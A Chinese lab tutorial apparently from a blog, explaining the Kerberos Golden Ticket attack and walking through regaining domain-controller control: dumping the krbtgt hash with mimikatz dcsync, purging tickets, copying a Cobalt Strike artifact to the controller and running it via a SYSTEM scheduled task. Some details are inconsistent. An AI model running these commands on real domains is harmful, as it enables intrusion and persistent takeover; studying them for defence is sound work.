Golden Ticket黄金票据制作原理及利用方式
Krbtgt账户介绍
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成 的,无法登录主机
黄金票据原理
TGT=Krbtgt的html hash 加密 1、Kerberos中的TGT和Logon Session Key(CT_SK)是AS返回的 ,TGP它是由Krbtgt加密和签名的 ,krbtgt的NTLM Hash又是固定的,而CT_SK并不会保存在KDC中。 2、所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key(CT_SK)。 3、Client与TGS的交互中,而已有了金票后(TGT),就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。 当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我 们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用 krbtgt用户的ntlm hash制作黄金票据伪造TGT,重新获取域控的管理权限。 我们在以去动物园为例,当我们去买票的时候,我么首先第一步是去身份认证管理员那里认证身份
实验操作
实验环境
主机名称 操作系统 IP地址 备注 域控 Windows Server 2016 192.168.200.200
域服务器 Windows Server 2008 192.168.200.159
实验前提
1、已经控制了域名并且使用域管理员登录或者提权的system 如果域管理员发现了你控制了域控机器,把你的后门删除了,那么就不能继续控制域控了,这个时候当我们可以伪 造TGT重新获得域控的权限 条件如下: 1、域名称 2、域的SID值 3、域的KRBTGT账号的HASH 4、伪造任意用户名 (获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
实验步骤
1、目前已经控制了域控和域内机器 2、获取关键信息 获取域的SID值 shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
获取域名称 shell net config workstation 查看域
综上得到 域名称:hacking.com 域的SID值:S-1-5-21-805735120-736500776-1241017012 3、使用mimikatz导出KRBTGT的ntlm hash mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt
综上可以得到:
域的KRBTGT账号的HASH值:83f6695db12bc88c0a2148c70766c6fc 4、这个时候突然域控下线了,管理员发现的你在控制,把后门清理了 5、查看并清除历史票据 查看现有票据信息 mimikatz kerberos::list 查票
清除已有票据信息 mimikatz kerberos::purge
6、配置黄金票据
连接成功
使用dir 远程访问域控 shell dir \addc01.hacking.com\c$
7、使用计划任务上线cs copy恶意文件到域控 shell copy c:\users\webserver\desktop\artifact.exe \addc01.hacking.com\c$
设置计划任务到域控 shell schtasks /create /s addc01.hacking.com /tn cstest /sc onstart /tr c:\artifact.exe /ru system /f
执行计划任务 shell schtasks /run /s addc01.hacking.com /i /tn "cstest"
域控重新上线
本文由博客一文多发平台 OpenWrite 发布!